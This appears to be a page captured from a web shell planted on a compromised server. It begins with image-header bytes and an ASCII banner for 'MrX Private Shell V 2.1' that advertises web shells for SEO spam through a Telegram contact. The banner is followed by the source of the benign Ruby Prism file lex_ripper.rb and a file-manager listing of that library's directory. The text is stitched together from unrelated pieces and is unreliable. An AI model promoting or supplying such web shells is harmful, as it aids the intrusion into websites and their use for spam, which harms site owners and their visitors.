����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# frozen_string_literal: true
# :markup: markdown
require "ripper"
module Prism
# This is a class that wraps the Ripper lexer to produce almost exactly the
# same tokens.
class LexRipper # :nodoc:
attr_reader :source
def initialize(source)
@source = source
end
def result
previous = [] #: [[Integer, Integer], Symbol, String, untyped] | []
results = [] #: Array[[[Integer, Integer], Symbol, String, untyped]]
lex(source).each do |token|
case token[1]
when :on_sp
# skip
when :on_tstring_content
if previous[1] == :on_tstring_content && (token[2].start_with?("\#$") || token[2].start_with?("\#@"))
previous[2] << token[2]
else
results << token
previous = token
end
when :on_words_sep
if previous[1] == :on_words_sep
previous[2] << token[2]
else
results << token
previous = token
end
else
results << token
previous = token
end
end
results
end
private
if Ripper.method(:lex).parameters.assoc(:keyrest)
def lex(source)
Ripper.lex(source, raise_errors: true)
end
else
def lex(source)
ripper = Ripper::Lexer.new(source)
ripper.lex.tap do |result|
raise SyntaxError, ripper.errors.map(&:message).join(' ;') if ripper.errors.any?
end
end
end
end
private_constant :LexRipper
end
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| parse_result | Folder | 0755 |
|
|
| polyfill | Folder | 0755 |
|
|
| translation | Folder | 0755 |
|
|
| compiler.rb | File | 23.17 KB | 0644 |
|
| desugar_compiler.rb | File | 9.89 KB | 0644 |
|
| dispatcher.rb | File | 111.71 KB | 0644 |
|
| dot_visitor.rb | File | 118.26 KB | 0644 |
|
| dsl.rb | File | 56.79 KB | 0644 |
|
| ffi.rb | File | 19.63 KB | 0644 |
|
| inspect_visitor.rb | File | 124.7 KB | 0644 |
|
| lex_compat.rb | File | 31.18 KB | 0644 |
|
| lex_ripper.rb | File | 1.5 KB | 0644 |
|
| mutation_compiler.rb | File | 21.1 KB | 0644 |
|
| node.rb | File | 623.78 KB | 0644 |
|
| node_ext.rb | File | 14.97 KB | 0644 |
|
| pack.rb | File | 5.88 KB | 0644 |
|
| parse_result.rb | File | 29.17 KB | 0644 |
|
| pattern.rb | File | 8.16 KB | 0644 |
|
| reflection.rb | File | 28.86 KB | 0644 |
|
| relocation.rb | File | 15.12 KB | 0644 |
|
| serialize.rb | File | 124.83 KB | 0644 |
|
| string_query.rb | File | 775 B | 0644 |
|
| translation.rb | File | 727 B | 0644 |
|
| visitor.rb | File | 22.79 KB | 0644 |
|